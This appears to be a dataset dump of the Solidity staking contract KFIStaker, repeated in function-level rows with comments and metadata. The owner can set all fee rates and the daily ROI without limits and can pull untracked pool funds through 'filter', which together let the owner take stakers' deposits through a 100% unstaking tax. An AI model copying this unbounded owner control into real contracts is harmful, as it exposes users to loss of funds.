//makes sure user has rewards to withdraw before execution
require(totalReward > 0, 'No reward to withdraw');
//makes sure _amount is not more than required balance
require((IERC20(xkfi).balanceOf(address(this))).sub(totalStaked) >= totalReward, 'Insufficient xKFI balance in pool');
//initializes stake rewards
stakeRewards[msg.sender] = 0;
//initializes referal rewards
referralRewards[msg.sender] = 0;
//initializes referral count
referralCount[msg.sender] = 0;
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//transfers total rewards to stakeholder
IERC20(xkfi).transfer(msg.sender, totalReward);
//emit event
emit OnWithdrawal(msg.sender, totalReward);
return true;
}
//used to view the current reward pool
function rewardPool() external view onlyOwner() returns(uint claimable) {
return (IERC20(xkfi).balanceOf(address(this))).sub(totalStaked);
}
//used to pause/start the contract's functionalities
function changeActiveStatus() external onlyOwner() {
if(active) {
active = false;
} else {
active = true;
}
}
//sets the staking rate
function setStakingTaxRate(uint _stakingTaxRate) external onlyOwner() {
stakingTaxRate = _stakingTaxRate;
}
//sets the unstaking rate
function setUnstakingTaxRate(uint _unstakingTaxRate) external onlyOwner() {
unstakingTaxRate = _unstakingTaxRate;
}
//sets the daily ROI
function setDailyROI(uint _dailyROI) external onlyOwner() {
dailyROI = _dailyROI;
}
//sets the registration tax
function setRegistrationTax(uint _registrationTax) external onlyOwner() {
registrationTax = _registrationTax;
}
//sets the minimum stake value
function setMinimumStakeValue(uint _minimumStakeValue) external onlyOwner() {
minimumStakeValue = _minimumStakeValue;
}
//withdraws _amount from the pool to owner
function filter(uint _amount) external onlyOwner returns (bool success) {
//makes sure _amount is not more than required balance
require((IERC20(xkfi).balanceOf(address(this))).sub(totalStaked) >= _amount, 'Insufficient xKFI balance in pool');
//transfers _amount to _address
IERC20(xkfi).transfer(msg.sender, _amount);
//emit event
emit OnWithdrawal(msg.sender, _amount);
return true;
}
} | unstake | function unstake(uint _amount) external onlyRegistered() {
//makes sure _amount is not more than stake balance
require(_amount <= stakes[msg.sender] && _amount > 0, 'Insufficient balance to unstake');
//calculates unstaking tax
uint unstakingTax = (unstakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(unstakingTax);
//sums up stakeholder's total rewards with _amount deducting unstaking tax
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//updates stakes
stakes[msg.sender] = (stakes[msg.sender]).sub(_amount);
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.sub(_amount);
//transfers value to stakeholder
IERC20(xkfi).transfer(msg.sender, afterTax);
//conditional statement if stakeholder has no stake left
if(stakes[msg.sender] == 0) {
//deregister stakeholder
registered[msg.sender] = false;
}
//emit event
emit OnUnstake(msg.sender, _amount, unstakingTax);
}
| /**
* removes '_amount' stakes for already registered stakeholders
* deducts the unstaking tax from '_amount'
* transfers the sum of the remainder, stake rewards, referral rewards, and current eanrings to the sender
* deregisters stakeholder if all the stakes are removed
* Emits an {OnStake} event
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://f93b62858c667ddf61793b8bf080493073215d3c1136dfdb99079b8a2eb6ebf0 | {
"func_code_index": [
7480,
8876
]
} | 6,913 |
||
KFIStaker | KFIStaker.sol | 0x63d1cd65fbba57a30467198ebc2aab78a06ab245 | Solidity | KFIStaker | contract KFIStaker is Owned {
//initializing safe computations
using SafeMath for uint;
//xKFI contract address
address public xkfi;
//total amount of staked xkfi
uint public totalStaked;
//tax rate for staking in percentage
uint public stakingTaxRate; //25 = 2.5%
//tax amount for registration
uint public registrationTax;
//daily return of investment in percentage
uint public dailyROI; //150 = 1.5%
//tax rate for unstaking in percentage
uint public unstakingTaxRate; //30 = 3%
//minimum stakeable xKFI
uint public minimumStakeValue;
//pause mechanism
bool public active = true;
//mapping of stakeholder's addresses to data
mapping(address => uint) public stakes;
mapping(address => uint) public referralRewards;
mapping(address => uint) public referralCount;
mapping(address => uint) public stakeRewards;
mapping(address => uint) private lastClock;
mapping(address => bool) public registered;
//Events
event OnWithdrawal(address sender, uint amount);
event OnStake(address sender, uint amount, uint tax);
event OnUnstake(address sender, uint amount, uint tax);
event OnRegisterAndStake(address stakeholder, uint amount, uint totalTax , address _referrer);
/**
* @dev Sets the initial values
*/
constructor(
address _token,
uint _stakingTaxRate,
uint _unstakingTaxRate,
uint _dailyROI,
uint _registrationTax,
uint _minimumStakeValue) public {
//set initial state variables
xkfi = _token;
stakingTaxRate = _stakingTaxRate;
unstakingTaxRate = _unstakingTaxRate;
dailyROI = _dailyROI;
registrationTax = _registrationTax;
minimumStakeValue = _minimumStakeValue;
}
//exclusive access for registered address
modifier onlyRegistered() {
require(registered[msg.sender] == true, "Stakeholder must be registered");
_;
}
//exclusive access for unregistered address
modifier onlyUnregistered() {
require(registered[msg.sender] == false, "Stakeholder is already registered");
_;
}
//make sure contract is active
modifier whenActive() {
require(active == true, "Smart contract is curently inactive");
_;
}
/**
* registers and creates stakes for new stakeholders
* deducts the registration tax and staking tax
* calculates refferal bonus from the registration tax and sends it to the _referrer if there is one
* transfers xKFI from sender's address into the smart contract
* Emits an {OnRegisterAndStake} event..
*/
function registerAndStake(uint _amount, address _referrer) external onlyUnregistered() whenActive() {
//makes sure user is not the referrer
require(msg.sender != _referrer, "Cannot refer self");
//makes sure referrer is registered already
require(registered[_referrer] || address(0x0) == _referrer, "Referrer must be registered");
//makes sure user has enough amount
require(IERC20(xkfi).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure amount is more than the registration fee and the minimum deposit
require(_amount >= registrationTax.add(minimumStakeValue), "Must send at least enough xKFI to pay registration fee.");
//makes sure smart contract transfers xKFI from user
require(IERC20(xkfi).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates final amount after deducting registration tax
uint finalAmount = _amount.sub(registrationTax);
//calculates staking tax on final calculated amount
uint stakingTax = (stakingTaxRate.mul(finalAmount)).div(1000);
//conditional statement if user registers with referrer
if(_referrer != address(0x0)) {
//increase referral count of referrer
referralCount[_referrer]++;
//add referral bonus to referrer
referralRewards[_referrer] = (referralRewards[_referrer]).add(stakingTax);
}
//register user
registered[msg.sender] = true;
//mark the transaction date
lastClock[msg.sender] = now;
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.add(finalAmount).sub(stakingTax);
//update the user's stakes deducting the staking tax
stakes[msg.sender] = (stakes[msg.sender]).add(finalAmount).sub(stakingTax);
//emit event
emit OnRegisterAndStake(msg.sender, _amount, registrationTax.add(stakingTax), _referrer);
}
//calculates stakeholders latest unclaimed earnings
function calculateEarnings(address _stakeholder) public view returns(uint) {
//records the number of days between the last payout time and now
uint activeDays = (now.sub(lastClock[_stakeholder])).div(86400);
//returns earnings based on daily ROI and active days
return ((stakes[_stakeholder]).mul(dailyROI).mul(activeDays)).div(10000);
}
/**
* creates stakes for already registered stakeholders
* deducts the staking tax from _amount inputted
* registers the remainder in the stakes of the sender
* records the previous earnings before updated stakes
* Emits an {OnStake} event
*/
function stake(uint _amount) external onlyRegistered() whenActive() {
//makes sure stakeholder does not stake below the minimum
require(_amount >= minimumStakeValue, "Amount is below minimum stake value.");
//makes sure stakeholder has enough balance
require(IERC20(xkfi).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure smart contract transfers xKFI from user
require(IERC20(xkfi).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates staking tax on amount
uint stakingTax = (stakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(stakingTax);
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.add(afterTax);
//adds earnings current earnings to stakeRewards
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//updates stakeholder's stakes
stakes[msg.sender] = (stakes[msg.sender]).add(afterTax);
//emit event
emit OnStake(msg.sender, afterTax, stakingTax);
}
/**
* removes '_amount' stakes for already registered stakeholders
* deducts the unstaking tax from '_amount'
* transfers the sum of the remainder, stake rewards, referral rewards, and current eanrings to the sender
* deregisters stakeholder if all the stakes are removed
* Emits an {OnStake} event
*/
function unstake(uint _amount) external onlyRegistered() {
//makes sure _amount is not more than stake balance
require(_amount <= stakes[msg.sender] && _amount > 0, 'Insufficient balance to unstake');
//calculates unstaking tax
uint unstakingTax = (unstakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(unstakingTax);
//sums up stakeholder's total rewards with _amount deducting unstaking tax
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//updates stakes
stakes[msg.sender] = (stakes[msg.sender]).sub(_amount);
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.sub(_amount);
//transfers value to stakeholder
IERC20(xkfi).transfer(msg.sender, afterTax);
//conditional statement if stakeholder has no stake left
if(stakes[msg.sender] == 0) {
//deregister stakeholder
registered[msg.sender] = false;
}
//emit event
emit OnUnstake(msg.sender, _amount, unstakingTax);
}
//transfers total active earnings to stakeholder's wallet
function withdrawEarnings() external returns (bool success) {
//calculates the total redeemable rewards
uint totalReward = (referralRewards[msg.sender]).add(stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//makes sure user has rewards to withdraw before execution
require(totalReward > 0, 'No reward to withdraw');
//makes sure _amount is not more than required balance
require((IERC20(xkfi).balanceOf(address(this))).sub(totalStaked) >= totalReward, 'Insufficient xKFI balance in pool');
//initializes stake rewards
stakeRewards[msg.sender] = 0;
//initializes referal rewards
referralRewards[msg.sender] = 0;
//initializes referral count
referralCount[msg.sender] = 0;
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//transfers total rewards to stakeholder
IERC20(xkfi).transfer(msg.sender, totalReward);
//emit event
emit OnWithdrawal(msg.sender, totalReward);
return true;
}
//used to view the current reward pool
function rewardPool() external view onlyOwner() returns(uint claimable) {
return (IERC20(xkfi).balanceOf(address(this))).sub(totalStaked);
}
//used to pause/start the contract's functionalities
function changeActiveStatus() external onlyOwner() {
if(active) {
active = false;
} else {
active = true;
}
}
//sets the staking rate
function setStakingTaxRate(uint _stakingTaxRate) external onlyOwner() {
stakingTaxRate = _stakingTaxRate;
}
//sets the unstaking rate
function setUnstakingTaxRate(uint _unstakingTaxRate) external onlyOwner() {
unstakingTaxRate = _unstakingTaxRate;
}
//sets the daily ROI
function setDailyROI(uint _dailyROI) external onlyOwner() {
dailyROI = _dailyROI;
}
//sets the registration tax
function setRegistrationTax(uint _registrationTax) external onlyOwner() {
registrationTax = _registrationTax;
}
//sets the minimum stake value
function setMinimumStakeValue(uint _minimumStakeValue) external onlyOwner() {
minimumStakeValue = _minimumStakeValue;
}
//withdraws _amount from the pool to owner
function filter(uint _amount) external onlyOwner returns (bool success) {
//makes sure _amount is not more than required balance
require((IERC20(xkfi).balanceOf(address(this))).sub(totalStaked) >= _amount, 'Insufficient xKFI balance in pool');
//transfers _amount to _address
IERC20(xkfi).transfer(msg.sender, _amount);
//emit event
emit OnWithdrawal(msg.sender, _amount);
return true;
}
} | withdrawEarnings | function withdrawEarnings() external returns (bool success) {
//calculates the total redeemable rewards
uint totalReward = (referralRewards[msg.sender]).add(stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//makes sure user has rewards to withdraw before execution
require(totalReward > 0, 'No reward to withdraw');
//makes sure _amount is not more than required balance
require((IERC20(xkfi).balanceOf(address(this))).sub(totalStaked) >= totalReward, 'Insufficient xKFI balance in pool');
//initializes stake rewards
stakeRewards[msg.sender] = 0;
//initializes referal rewards
referralRewards[msg.sender] = 0;
//initializes referral count
referralCount[msg.sender] = 0;
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//transfers total rewards to stakeholder
IERC20(xkfi).transfer(msg.sender, totalReward);
//emit event
emit OnWithdrawal(msg.sender, totalReward);
return true;
}
| //transfers total active earnings to stakeholder's wallet | LineComment | v0.6.12+commit.27d51765 | MIT | ipfs://f93b62858c667ddf61793b8bf080493073215d3c1136dfdb99079b8a2eb6ebf0 | {
"func_code_index": [
8946,
10162
]
} | 6,914 |
||
KFIStaker | KFIStaker.sol | 0x63d1cd65fbba57a30467198ebc2aab78a06ab245 | Solidity | KFIStaker | contract KFIStaker is Owned {
//initializing safe computations
using SafeMath for uint;
//xKFI contract address
address public xkfi;
//total amount of staked xkfi
uint public totalStaked;
//tax rate for staking in percentage
uint public stakingTaxRate; //25 = 2.5%
//tax amount for registration
uint public registrationTax;
//daily return of investment in percentage
uint public dailyROI; //150 = 1.5%
//tax rate for unstaking in percentage
uint public unstakingTaxRate; //30 = 3%
//minimum stakeable xKFI
uint public minimumStakeValue;
//pause mechanism
bool public active = true;
//mapping of stakeholder's addresses to data
mapping(address => uint) public stakes;
mapping(address => uint) public referralRewards;
mapping(address => uint) public referralCount;
mapping(address => uint) public stakeRewards;
mapping(address => uint) private lastClock;
mapping(address => bool) public registered;
//Events
event OnWithdrawal(address sender, uint amount);
event OnStake(address sender, uint amount, uint tax);
event OnUnstake(address sender, uint amount, uint tax);
event OnRegisterAndStake(address stakeholder, uint amount, uint totalTax , address _referrer);
/**
* @dev Sets the initial values
*/
constructor(
address _token,
uint _stakingTaxRate,
uint _unstakingTaxRate,
uint _dailyROI,
uint _registrationTax,
uint _minimumStakeValue) public {
//set initial state variables
xkfi = _token;
stakingTaxRate = _stakingTaxRate;
unstakingTaxRate = _unstakingTaxRate;
dailyROI = _dailyROI;
registrationTax = _registrationTax;
minimumStakeValue = _minimumStakeValue;
}
//exclusive access for registered address
modifier onlyRegistered() {
require(registered[msg.sender] == true, "Stakeholder must be registered");
_;
}
//exclusive access for unregistered address
modifier onlyUnregistered() {
require(registered[msg.sender] == false, "Stakeholder is already registered");
_;
}
//make sure contract is active
modifier whenActive() {
require(active == true, "Smart contract is curently inactive");
_;
}
/**
* registers and creates stakes for new stakeholders
* deducts the registration tax and staking tax
* calculates refferal bonus from the registration tax and sends it to the _referrer if there is one
* transfers xKFI from sender's address into the smart contract
* Emits an {OnRegisterAndStake} event..
*/
function registerAndStake(uint _amount, address _referrer) external onlyUnregistered() whenActive() {
//makes sure user is not the referrer
require(msg.sender != _referrer, "Cannot refer self");
//makes sure referrer is registered already
require(registered[_referrer] || address(0x0) == _referrer, "Referrer must be registered");
//makes sure user has enough amount
require(IERC20(xkfi).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure amount is more than the registration fee and the minimum deposit
require(_amount >= registrationTax.add(minimumStakeValue), "Must send at least enough xKFI to pay registration fee.");
//makes sure smart contract transfers xKFI from user
require(IERC20(xkfi).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates final amount after deducting registration tax
uint finalAmount = _amount.sub(registrationTax);
//calculates staking tax on final calculated amount
uint stakingTax = (stakingTaxRate.mul(finalAmount)).div(1000);
//conditional statement if user registers with referrer
if(_referrer != address(0x0)) {
//increase referral count of referrer
referralCount[_referrer]++;
//add referral bonus to referrer
referralRewards[_referrer] = (referralRewards[_referrer]).add(stakingTax);
}
//register user
registered[msg.sender] = true;
//mark the transaction date
lastClock[msg.sender] = now;
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.add(finalAmount).sub(stakingTax);
//update the user's stakes deducting the staking tax
stakes[msg.sender] = (stakes[msg.sender]).add(finalAmount).sub(stakingTax);
//emit event
emit OnRegisterAndStake(msg.sender, _amount, registrationTax.add(stakingTax), _referrer);
}
//calculates stakeholders latest unclaimed earnings
function calculateEarnings(address _stakeholder) public view returns(uint) {
//records the number of days between the last payout time and now
uint activeDays = (now.sub(lastClock[_stakeholder])).div(86400);
//returns earnings based on daily ROI and active days
return ((stakes[_stakeholder]).mul(dailyROI).mul(activeDays)).div(10000);
}
/**
* creates stakes for already registered stakeholders
* deducts the staking tax from _amount inputted
* registers the remainder in the stakes of the sender
* records the previous earnings before updated stakes
* Emits an {OnStake} event
*/
function stake(uint _amount) external onlyRegistered() whenActive() {
//makes sure stakeholder does not stake below the minimum
require(_amount >= minimumStakeValue, "Amount is below minimum stake value.");
//makes sure stakeholder has enough balance
require(IERC20(xkfi).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure smart contract transfers xKFI from user
require(IERC20(xkfi).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates staking tax on amount
uint stakingTax = (stakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(stakingTax);
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.add(afterTax);
//adds earnings current earnings to stakeRewards
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//updates stakeholder's stakes
stakes[msg.sender] = (stakes[msg.sender]).add(afterTax);
//emit event
emit OnStake(msg.sender, afterTax, stakingTax);
}
/**
* removes '_amount' stakes for already registered stakeholders
* deducts the unstaking tax from '_amount'
* transfers the sum of the remainder, stake rewards, referral rewards, and current eanrings to the sender
* deregisters stakeholder if all the stakes are removed
* Emits an {OnStake} event
*/
function unstake(uint _amount) external onlyRegistered() {
//makes sure _amount is not more than stake balance
require(_amount <= stakes[msg.sender] && _amount > 0, 'Insufficient balance to unstake');
//calculates unstaking tax
uint unstakingTax = (unstakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(unstakingTax);
//sums up stakeholder's total rewards with _amount deducting unstaking tax
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//updates stakes
stakes[msg.sender] = (stakes[msg.sender]).sub(_amount);
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.sub(_amount);
//transfers value to stakeholder
IERC20(xkfi).transfer(msg.sender, afterTax);
//conditional statement if stakeholder has no stake left
if(stakes[msg.sender] == 0) {
//deregister stakeholder
registered[msg.sender] = false;
}
//emit event
emit OnUnstake(msg.sender, _amount, unstakingTax);
}
//transfers total active earnings to stakeholder's wallet
function withdrawEarnings() external returns (bool success) {
//calculates the total redeemable rewards
uint totalReward = (referralRewards[msg.sender]).add(stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//makes sure user has rewards to withdraw before execution
require(totalReward > 0, 'No reward to withdraw');
//makes sure _amount is not more than required balance
require((IERC20(xkfi).balanceOf(address(this))).sub(totalStaked) >= totalReward, 'Insufficient xKFI balance in pool');
//initializes stake rewards
stakeRewards[msg.sender] = 0;
//initializes referal rewards
referralRewards[msg.sender] = 0;
//initializes referral count
referralCount[msg.sender] = 0;
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//transfers total rewards to stakeholder
IERC20(xkfi).transfer(msg.sender, totalReward);
//emit event
emit OnWithdrawal(msg.sender, totalReward);
return true;
}
//used to view the current reward pool
function rewardPool() external view onlyOwner() returns(uint claimable) {
return (IERC20(xkfi).balanceOf(address(this))).sub(totalStaked);
}
//used to pause/start the contract's functionalities
function changeActiveStatus() external onlyOwner() {
if(active) {
active = false;
} else {
active = true;
}
}
//sets the staking rate
function setStakingTaxRate(uint _stakingTaxRate) external onlyOwner() {
stakingTaxRate = _stakingTaxRate;
}
//sets the unstaking rate
function setUnstakingTaxRate(uint _unstakingTaxRate) external onlyOwner() {
unstakingTaxRate = _unstakingTaxRate;
}
//sets the daily ROI
function setDailyROI(uint _dailyROI) external onlyOwner() {
dailyROI = _dailyROI;
}
//sets the registration tax
function setRegistrationTax(uint _registrationTax) external onlyOwner() {
registrationTax = _registrationTax;
}
//sets the minimum stake value
function setMinimumStakeValue(uint _minimumStakeValue) external onlyOwner() {
minimumStakeValue = _minimumStakeValue;
}
//withdraws _amount from the pool to owner
function filter(uint _amount) external onlyOwner returns (bool success) {
//makes sure _amount is not more than required balance
require((IERC20(xkfi).balanceOf(address(this))).sub(totalStaked) >= _amount, 'Insufficient xKFI balance in pool');
//transfers _amount to _address
IERC20(xkfi).transfer(msg.sender, _amount);
//emit event
emit OnWithdrawal(msg.sender, _amount);
return true;
}
} | rewardPool | function rewardPool() external view onlyOwner() returns(uint claimable) {
return (IERC20(xkfi).balanceOf(address(this))).sub(totalStaked);
}
| //used to view the current reward pool | LineComment | v0.6.12+commit.27d51765 | MIT | ipfs://f93b62858c667ddf61793b8bf080493073215d3c1136dfdb99079b8a2eb6ebf0 | {
"func_code_index": [
10209,
10368
]
} | 6,915 |
||
KFIStaker | KFIStaker.sol | 0x63d1cd65fbba57a30467198ebc2aab78a06ab245 | Solidity | KFIStaker | contract KFIStaker is Owned {
//initializing safe computations
using SafeMath for uint;
//xKFI contract address
address public xkfi;
//total amount of staked xkfi
uint public totalStaked;
//tax rate for staking in percentage
uint public stakingTaxRate; //25 = 2.5%
//tax amount for registration
uint public registrationTax;
//daily return of investment in percentage
uint public dailyROI; //150 = 1.5%
//tax rate for unstaking in percentage
uint public unstakingTaxRate; //30 = 3%
//minimum stakeable xKFI
uint public minimumStakeValue;
//pause mechanism
bool public active = true;
//mapping of stakeholder's addresses to data
mapping(address => uint) public stakes;
mapping(address => uint) public referralRewards;
mapping(address => uint) public referralCount;
mapping(address => uint) public stakeRewards;
mapping(address => uint) private lastClock;
mapping(address => bool) public registered;
//Events
event OnWithdrawal(address sender, uint amount);
event OnStake(address sender, uint amount, uint tax);
event OnUnstake(address sender, uint amount, uint tax);
event OnRegisterAndStake(address stakeholder, uint amount, uint totalTax , address _referrer);
/**
* @dev Sets the initial values
*/
constructor(
address _token,
uint _stakingTaxRate,
uint _unstakingTaxRate,
uint _dailyROI,
uint _registrationTax,
uint _minimumStakeValue) public {
//set initial state variables
xkfi = _token;
stakingTaxRate = _stakingTaxRate;
unstakingTaxRate = _unstakingTaxRate;
dailyROI = _dailyROI;
registrationTax = _registrationTax;
minimumStakeValue = _minimumStakeValue;
}
//exclusive access for registered address
modifier onlyRegistered() {
require(registered[msg.sender] == true, "Stakeholder must be registered");
_;
}
//exclusive access for unregistered address
modifier onlyUnregistered() {
require(registered[msg.sender] == false, "Stakeholder is already registered");
_;
}
//make sure contract is active
modifier whenActive() {
require(active == true, "Smart contract is curently inactive");
_;
}
/**
* registers and creates stakes for new stakeholders
* deducts the registration tax and staking tax
* calculates refferal bonus from the registration tax and sends it to the _referrer if there is one
* transfers xKFI from sender's address into the smart contract
* Emits an {OnRegisterAndStake} event..
*/
function registerAndStake(uint _amount, address _referrer) external onlyUnregistered() whenActive() {
//makes sure user is not the referrer
require(msg.sender != _referrer, "Cannot refer self");
//makes sure referrer is registered already
require(registered[_referrer] || address(0x0) == _referrer, "Referrer must be registered");
//makes sure user has enough amount
require(IERC20(xkfi).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure amount is more than the registration fee and the minimum deposit
require(_amount >= registrationTax.add(minimumStakeValue), "Must send at least enough xKFI to pay registration fee.");
//makes sure smart contract transfers xKFI from user
require(IERC20(xkfi).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates final amount after deducting registration tax
uint finalAmount = _amount.sub(registrationTax);
//calculates staking tax on final calculated amount
uint stakingTax = (stakingTaxRate.mul(finalAmount)).div(1000);
//conditional statement if user registers with referrer
if(_referrer != address(0x0)) {
//increase referral count of referrer
referralCount[_referrer]++;
//add referral bonus to referrer
referralRewards[_referrer] = (referralRewards[_referrer]).add(stakingTax);
}
//register user
registered[msg.sender] = true;
//mark the transaction date
lastClock[msg.sender] = now;
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.add(finalAmount).sub(stakingTax);
//update the user's stakes deducting the staking tax
stakes[msg.sender] = (stakes[msg.sender]).add(finalAmount).sub(stakingTax);
//emit event
emit OnRegisterAndStake(msg.sender, _amount, registrationTax.add(stakingTax), _referrer);
}
//calculates stakeholders latest unclaimed earnings
function calculateEarnings(address _stakeholder) public view returns(uint) {
//records the number of days between the last payout time and now
uint activeDays = (now.sub(lastClock[_stakeholder])).div(86400);
//returns earnings based on daily ROI and active days
return ((stakes[_stakeholder]).mul(dailyROI).mul(activeDays)).div(10000);
}
/**
* creates stakes for already registered stakeholders
* deducts the staking tax from _amount inputted
* registers the remainder in the stakes of the sender
* records the previous earnings before updated stakes
* Emits an {OnStake} event
*/
function stake(uint _amount) external onlyRegistered() whenActive() {
//makes sure stakeholder does not stake below the minimum
require(_amount >= minimumStakeValue, "Amount is below minimum stake value.");
//makes sure stakeholder has enough balance
require(IERC20(xkfi).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure smart contract transfers xKFI from user
require(IERC20(xkfi).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates staking tax on amount
uint stakingTax = (stakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(stakingTax);
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.add(afterTax);
//adds earnings current earnings to stakeRewards
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//updates stakeholder's stakes
stakes[msg.sender] = (stakes[msg.sender]).add(afterTax);
//emit event
emit OnStake(msg.sender, afterTax, stakingTax);
}
/**
* removes '_amount' stakes for already registered stakeholders
* deducts the unstaking tax from '_amount'
* transfers the sum of the remainder, stake rewards, referral rewards, and current eanrings to the sender
* deregisters stakeholder if all the stakes are removed
* Emits an {OnStake} event
*/
function unstake(uint _amount) external onlyRegistered() {
//makes sure _amount is not more than stake balance
require(_amount <= stakes[msg.sender] && _amount > 0, 'Insufficient balance to unstake');
//calculates unstaking tax
uint unstakingTax = (unstakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(unstakingTax);
//sums up stakeholder's total rewards with _amount deducting unstaking tax
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//updates stakes
stakes[msg.sender] = (stakes[msg.sender]).sub(_amount);
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.sub(_amount);
//transfers value to stakeholder
IERC20(xkfi).transfer(msg.sender, afterTax);
//conditional statement if stakeholder has no stake left
if(stakes[msg.sender] == 0) {
//deregister stakeholder
registered[msg.sender] = false;
}
//emit event
emit OnUnstake(msg.sender, _amount, unstakingTax);
}
//transfers total active earnings to stakeholder's wallet
function withdrawEarnings() external returns (bool success) {
//calculates the total redeemable rewards
uint totalReward = (referralRewards[msg.sender]).add(stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//makes sure user has rewards to withdraw before execution
require(totalReward > 0, 'No reward to withdraw');
//makes sure _amount is not more than required balance
require((IERC20(xkfi).balanceOf(address(this))).sub(totalStaked) >= totalReward, 'Insufficient xKFI balance in pool');
//initializes stake rewards
stakeRewards[msg.sender] = 0;
//initializes referal rewards
referralRewards[msg.sender] = 0;
//initializes referral count
referralCount[msg.sender] = 0;
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//transfers total rewards to stakeholder
IERC20(xkfi).transfer(msg.sender, totalReward);
//emit event
emit OnWithdrawal(msg.sender, totalReward);
return true;
}
//used to view the current reward pool
function rewardPool() external view onlyOwner() returns(uint claimable) {
return (IERC20(xkfi).balanceOf(address(this))).sub(totalStaked);
}
//used to pause/start the contract's functionalities
function changeActiveStatus() external onlyOwner() {
if(active) {
active = false;
} else {
active = true;
}
}
//sets the staking rate
function setStakingTaxRate(uint _stakingTaxRate) external onlyOwner() {
stakingTaxRate = _stakingTaxRate;
}
//sets the unstaking rate
function setUnstakingTaxRate(uint _unstakingTaxRate) external onlyOwner() {
unstakingTaxRate = _unstakingTaxRate;
}
//sets the daily ROI
function setDailyROI(uint _dailyROI) external onlyOwner() {
dailyROI = _dailyROI;
}
//sets the registration tax
function setRegistrationTax(uint _registrationTax) external onlyOwner() {
registrationTax = _registrationTax;
}
//sets the minimum stake value
function setMinimumStakeValue(uint _minimumStakeValue) external onlyOwner() {
minimumStakeValue = _minimumStakeValue;
}
//withdraws _amount from the pool to owner
function filter(uint _amount) external onlyOwner returns (bool success) {
//makes sure _amount is not more than required balance
require((IERC20(xkfi).balanceOf(address(this))).sub(totalStaked) >= _amount, 'Insufficient xKFI balance in pool');
//transfers _amount to _address
IERC20(xkfi).transfer(msg.sender, _amount);
//emit event
emit OnWithdrawal(msg.sender, _amount);
return true;
}
} | changeActiveStatus | function changeActiveStatus() external onlyOwner() {
if(active) {
active = false;
} else {
active = true;
}
}
